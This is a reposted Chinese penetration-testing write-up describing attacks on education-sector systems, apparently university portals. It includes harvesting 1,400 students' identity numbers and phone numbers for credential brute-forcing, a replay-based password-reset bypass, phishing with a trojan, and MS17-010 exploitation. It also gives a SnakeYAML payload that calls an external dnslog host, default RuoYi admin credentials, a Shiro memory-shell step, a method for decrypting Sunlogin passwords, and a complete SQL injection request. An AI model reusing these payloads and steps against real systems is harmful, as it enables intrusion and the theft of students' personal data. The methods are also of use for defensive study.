教育行业渗透打点

bysec 收录于类别学习

2024-07-28 2024-07-28 约 2318 字预计阅读 5 分钟

转载自： https://forum.butian.net/share/2423

1、OA系统密码找回找回密码系统使用说明文档中发现登录账号 600030 密码找回，找回方式选择密保问题问题选择出生地，密保问题答案填写高校所在地即可修改密码修改密码，即可以图文信息…

1、OA系统密码找回

找回密码

系统使用说明文档中发现登录账号 600030

密码找回，找回方式选择密保问题

问题选择出生地，密保问题答案填写高校所在地

即可修改密码

修改密码，即可以图文信息中心的身份登录OA系统

在文件中找到1400多名学生的敏感信息文件，其中存在手机号、身份证号、学号，可以组合密码本进行统一身份认证系统的爆破登录，默认密码为身份证后六位

成功登录一部分账号

登录VPN

进行内网扫描，利用MS17010拿下C段多台主机权限

钓鱼

利用OA系统的通讯功能，散播木马

获取多台机器权限

2、逻辑漏洞修改密码

GitHub密码泄漏

GitHub泄漏学号密码

但账号已被禁用

获取学号手机号

存在注册功能的网站注册用户，然后登录

通过以下接口获得用户ID /User/GetUserListByKeyWord

可以通过以下接口遍历用户ID，获取任意用户的姓名手机号邮箱等敏感信息

/User/Tip?time61&id=caec35e7-9956-4f68-98bc-e2aee73ebda5&_=1664438691592

获取多组学号、姓名、手机号

修改密码

点击同意门户的忘记密码功能，输入上面得到的学号

输入手机号，点击获取验证码并抓包

记录回包内容

1

"datas":"{\"sign\":\"407ec6dc275f4766a4525e059a60ca16\"}","code":"0","message":"获取成功"

随意输入验证码，点击下一步，并把上面的流量包直接返回

可以看到页面跳转到了设置密码

成功更改密码

79个应用，通过其中一个aspx站SQL注入拿到shell

3、Github泄漏账号密码

账号密码

1、GitHub搜索"学校域名" “password” 发现邮箱账号密码

2、登录邮箱发现手机号身份证号

统一门户

3、手机号加邮箱密码直接登录统一门户

泛微OA

跳转到泛微OA,文件上传GetShell

4、向日葵密码读取

heapdump文件泄漏

直接下载heapdump文件

读取到mssql账号密码

向日葵密码读取

成功连接mssql服务器，执行xp_cmdshell

C:\Program Files\Oray\SunLogin\SunloginClient\config.ini为向日葵的默认安装配置文件，直接尝试读取

fastcode将第一位字母去除就为本机识别码，encry_pwd为加密后的本机验证码

可以使用GitHub解密项目https://github.com/wafinfo/Sunflower_get_Password进行解密。

解密后成功连接目标主机服务器

5、若依漏洞GetShell

1、某学院首页

2、/login ，访问后台页面，发现为若依框架，admin/admin@123直接登录后台

定时任务命令执行

以管理员权限登录在定时任务处新增

org.yaml.snakeyaml.Yaml.load(’!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL [“ftp://ceshi.bdtmos.dnslog.cn”] ]] ]’)运行任务

DNSlog平台收到请求

shiro 反序列化漏洞

工具直接开扫，成功注入内存马

连接内存马

发现历史入侵痕迹，发现fscan黑客漏扫工具

SQL注入

sql注入当时也懒得去尝试，估计也是存在的

/system/role/list

/system/role/export

/system/dept/edit

1

POST /system/role/list HTTP/1.1 Host: Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: JSESSIONID=e9f143b9-3c3d-4acb-96a4-93c7367a98e9 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 75 params[dataScope]=and extractvalue(1,concat(0x7e,(select database()),0x7e))